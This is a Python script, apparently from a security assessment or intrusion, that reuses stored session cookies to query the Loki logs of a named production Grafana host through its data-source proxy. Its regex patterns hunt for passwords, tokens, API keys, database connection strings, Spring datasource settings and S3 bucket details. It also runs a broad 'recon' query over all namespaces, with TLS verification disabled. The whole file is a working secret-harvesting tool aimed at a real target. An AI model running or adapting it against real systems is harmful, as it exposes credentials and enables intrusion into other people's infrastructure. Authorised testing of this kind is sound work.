#!/usr/bin/env python3
"""Loki secret/exposure hunter via Grafana ds/query proxy (read-only L2)."""
import json, subprocess, sys, re

BASE = "https://grafana.adgentic.tv"
COOKIE = ".session_cookies"

def loki_query(expr, hours=24, max_lines=200):
    payload = json.dumps({
        'queries': [{'refId':'A','datasource':{'uid':'loki','type':'loki'},
                     'expr': expr, 'queryType':'range', 'maxLines': max_lines}],
        'from': f'now-{hours}h', 'to': 'now'
    })
    with open('/tmp/loki_q.json','w') as f:
        f.write(payload)
    r = subprocess.run(
        ['curl','-sk','-b',COOKIE,'-X','POST',
         f'{BASE}/api/ds/query','-H','Content-Type: application/json',
         '-d','@/tmp/loki_q.json'],
        capture_output=True, text=True
    )
    try:
        d = json.loads(r.stdout)
        frames = d.get('results',{}).get('A',{}).get('frames',[])
        lines = []
        for f in frames:
            vals = f.get('data',{}).get('values',[])
            if len(vals) > 2:
                lines.extend(vals[2])
        return lines
    except Exception as e:
        print(f"PARSE ERROR: {e}", file=sys.stderr)
        return []

QUERIES = [
    # Error/exception logs — connection strings, SQL errors leak DB details
    ("ERROR/EXCEPTION prod-backend 24h", 
     '{namespace="prod",app="prod-backend"} |~ "(?i)(error|exception|failed|fatal|refused|timeout|denied|deadlock)"',
     24, 100),
    # Node backend logs
    ("NODE-BACKEND logs 24h",
     '{namespace="prod",app="node-backend"}',
     24, 100),
    # Frontend/UI logs
    ("FRONTEND/UI logs 24h",
     '{namespace="prod",app="adgentic-ui"}',
     24, 50),
    # Any DB/connection-string references
    ("DB/CONN prod-backend 48h",
     r'{namespace="prod",app="prod-backend"} |~ "(?i)(jdbc:mysql|jdbc:postgres|mysql://|postgres://|mongodb://|redis://|amqp://|rabbitmq|elasticsearch)"',
     48, 50),
    # Env/config/property references
    ("ENV/CONFIG prod-backend 48h",
     r'{namespace="prod",app="prod-backend"} |~ "(?i)(spring\.datasource|spring\.jpa|application\.properties|application\.yml|env\b|environment\b|property|config_file|CONFIG_PATH)"',
     48, 50),
    # S3/AWS SDK calls (bucket names, region)
    ("S3/AWS SDK prod-backend 48h",
     r'{namespace="prod",app="prod-backend"} |~ "(?i)(s3://|amazonaws|aws_region|bucket|presigned|PutObject|GetObject|ListObjects)"',
     48, 100),
    # Startup banner (Spring Boot logs config on startup)
    ("STARTUP prod-backend 7d",
     '{namespace="prod",app="prod-backend"} |~ "(?i)(Started|Starting|Tomcat|initialized|Spring Boot|datasource|HikariPool)"',
     168, 50),
    # Any key=value or key: value patterns that look like secrets
    ("KEY=VALUE prod-backend 24h",
     r'{namespace="prod",app="prod-backend"} |~ "(?i)(password\s*[=:]|secret\s*[=:]|token\s*[=:]|key\s*[=:]|credential\s*[=:])"',
     24, 50),
    # All namespaces (recon)
    ("ALL NAMESPACES logs 1h",
     '{}',
     1, 30),
    # ERROR node-backend
    ("ERROR node-backend 24h",
     '{namespace="prod",app="node-backend"} |~ "(?i)(error|exception|failed|fatal|refused|timeout|denied|crash)"',
     24, 50),
]

def main():
    for label, expr, hours, limit in QUERIES:
        print(f"\n{'='*70}")
        print(f"QUERY: {label}")
        print(f"{'='*70}")
        lines = loki_query(expr, hours=hours, max_lines=limit)
        print(f"lines returned: {len(lines)}")
        for i, l in enumerate(lines[:limit]):
            s = str(l)
            print(f"\n[{i+1}] {s[:800]}")

if __name__ == "__main__":
    main()
